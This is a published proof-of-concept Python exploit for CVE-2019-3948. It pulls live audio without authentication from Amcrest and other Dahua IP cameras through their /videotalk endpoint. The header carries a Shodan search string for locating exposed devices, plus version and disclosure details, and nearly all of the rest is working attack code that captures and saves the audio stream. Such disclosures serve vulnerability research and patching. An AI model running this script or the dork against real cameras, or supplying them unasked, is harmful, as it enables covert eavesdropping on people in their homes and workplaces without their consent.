Share
##  
# Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera  
# Shodan Dork: html:"@WebVersion@"  
# Date: 08/29/2019  
# Exploit Author: Jacob Baines  
# Vendor Homepage: https://amcrest.com/  
# Software Link: https://amcrest.com/firmwaredownloads  
# Affected Version: V2.520.AC00.18.R  
# Fixed Version: V2.420.AC00.18.R  
# Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.  
# CVE : CVE-2019-3948  
# Disclosure: https://www.tenable.com/security/research/tra-2019-36  
# Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt  
#  
# To decode the scripts output using ffplay use:  
# ffplay -f alaw -ar 8k -ac 1 [poc output]  
# Note that this assumes the camera is using the default encoding options.  
##  
import argparse  
import socket  
import struct  
import sys  
  
##  
# Read in the specified amount of data. Continuing looping until we get it all...  
# what could go wrong?  
#  
# @return the data we read in  
##  
def recv_all(sock, amount):  
data = ''  
while len(data) != amount:  
temp_data = sock.recv(amount - len(data))  
data = data + temp_data  
  
return data  
  
top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')  
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")  
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")  
top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")  
top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")  
args = top_parser.parse_args()  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.setblocking(True)  
  
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)  
sock.connect((args.ip, args.port))  
print "[+] Connected!"  
  
request = ('GET /videotalk HTTP/1.1\r\n' +  
'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +  
'Range: bytes=0-\r\n' +  
'\r\n')  
sock.sendall(request)  
  
status = ''  
header = ''  
  
# read in the HTTP response. Store the status.  
while (header != '\r\n'):  
header = header + sock.recv(1);  
if (header.find('\r\n') > 0):  
header = header.strip()  
if (len(status) == 0):  
status = header  
header = ''  
  
if (status.find('200 OK') == -1):  
print '[-] Bad HTTP status. We received: "' + status + '"'  
sock.close()  
exit()  
else:  
print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'  
  
total_audio = ''  
while (len(total_audio) < args.bytes):  
  
# read in the header length  
header_length = recv_all(sock, 4)  
hlength = struct.unpack("I", header_length)[0]  
if (hlength != 36):  
print '[-] Unexpected header length'  
sock.close()  
exit()  
  
# read in the header and extract the payload length  
header = recv_all(sock, hlength)  
plength = struct.unpack_from(">H", header)[0]  
if (plength != 368):  
print '[-] Unexpected payload length'  
sock.close()  
exit()  
  
# there is a seq no in the header but since this is over  
# tcp is sort of useless.  
  
dhav = header[2:6]  
if (dhav != "DHAV"):  
print '[-] Invalid header'  
exit(0)  
  
# extract the audio. I'm really not sure what the first 6 bytes are  
# but the last 8 serve as a type of trailer  
whatami = recv_all(sock, 6)  
audio = recv_all(sock, plength - hlength - 12)  
trailer = recv_all(sock, 8)  
  
if (trailer != 'dhavp\x01\x00\x00'):  
print '[-] Invalid end of frame'  
sock.close()  
exit()  
  
total_audio = total_audio + audio  
sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))  
sys.stdout.flush()  
  
print ''  
print '[+] Finished receiving audio.'  
print '[+] Closing socket'  
  
out_file = open(args.output, 'wb')  
out_file.write(total_audio)  
out_file.close()  
  
sock.close()